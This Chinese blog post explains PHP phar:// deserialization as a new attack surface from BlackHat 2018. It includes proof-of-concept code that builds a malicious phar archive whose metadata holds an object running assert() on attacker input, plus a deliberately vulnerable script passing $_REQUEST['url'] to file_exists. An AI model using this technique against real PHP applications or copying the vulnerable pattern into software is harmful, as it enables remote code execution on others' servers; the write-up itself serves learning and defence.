• PHP反序列化漏洞新攻击面(BlackHat 2018)


    0x00 前言

      入职以来好久没有写过文章了,入职的时间里也和师傅们学到了很多,认识了很多的新朋友。最近因为BlackHat 黑客大会的一个议题,PHP反序列化漏洞利用被挖掘出新的攻击面。这里本着记录学习的目的,有了这篇文章。

    0x01 Phar 反序列化

      你看到本文,我默认认为你已经对PHP反序列化漏洞原理以及成因有所了解,如果不了解可以参考我之前的文章,这里就不多讲了。根据漏洞的原理,影响PHP反序列化漏洞利用的就一个函数unserialize(),这里所谓新的攻击面就是Phar协议解包时候触发的反序列化漏洞。

      首先生成Phar文件,扩展名可以自己定义。代码如下(phar.php):

    <?php
    
    require_once('Evil.class.php');
    
    $exception = new Evil('phpinfo()');
    
    $phar = new Phar("vul.phar");
    
    $phar->startBuffering();
    
    $phar->addFromString("test.txt", "test");
    
    $phar->setStub("<?php__HALT_COMPILER(); ?>");
    
    $phar->setMetadata($exception);
    
    $phar->stopBuffering();
    
    ?>

    Evil类的定义如下(Evil.class.php):

    <?php
    
    class Evil {
        
        protected $val;
    
        function __construct($val)
        {
            $this->val = $val;
        }
    
        function __wakeup() {
            assert($this->val);
        }
    }
    
    
    ?>

    在访问第一个文件(Phar.php)之后会生成一个文件名是vul.phar的文件,内容如下:

    可以看到中间有序列化之后的字符。其实Phar在打包一个文件的时候是会对其进行序列化的。然后我们访问(test.php), 代码如下:

    require_once('Evil.class.php');
    
    if ( file_exists($_REQUEST['url']) ) {
        echo 'success!';
    } else {
        echo 'error!';
    }

    访问结果如图:

     

     0x02 如何挖掘

    从以上的实验中,我们可以得出一个结论,漏洞的利用条件有三点:

    第一,存在反序列化的输入点,这里就是存在能够访问的phar归档文件;

    第二,存在漏洞触发点,这里是存在类似file_exists这样的函数,并且文件名完整可控;

    第三,存在能够利用的类。

    其中第三点,我们很清楚,这是反序列化漏洞的必备条件,第二点则相当于原先的unserialize。

  • 相关阅读:
    mysql 大数据提取
    Python 爬虫实例(11)—— 爬虫 苏宁易购
    Python 爬虫实例(10)—— 四行代码实现刷 博客园 阅读数量
    Python MySQLdb 批量插入 封装
    Python MySQLdb insert(插入) 封装
    Python MySQLdb select(选择) 封装
    iOS开发-iPad侧边栏Tab选项卡切换
    iOS开发-xCode6(iOS 8)中应用程序图标和启动页面设置
    iOS开发-CoreMotion框架(加速计和陀螺仪)
    iOS开发-JSON解析
  • 原文地址:https://www.cnblogs.com/magic-zero/p/9525842.html
Copyright © 2020-2023  润新知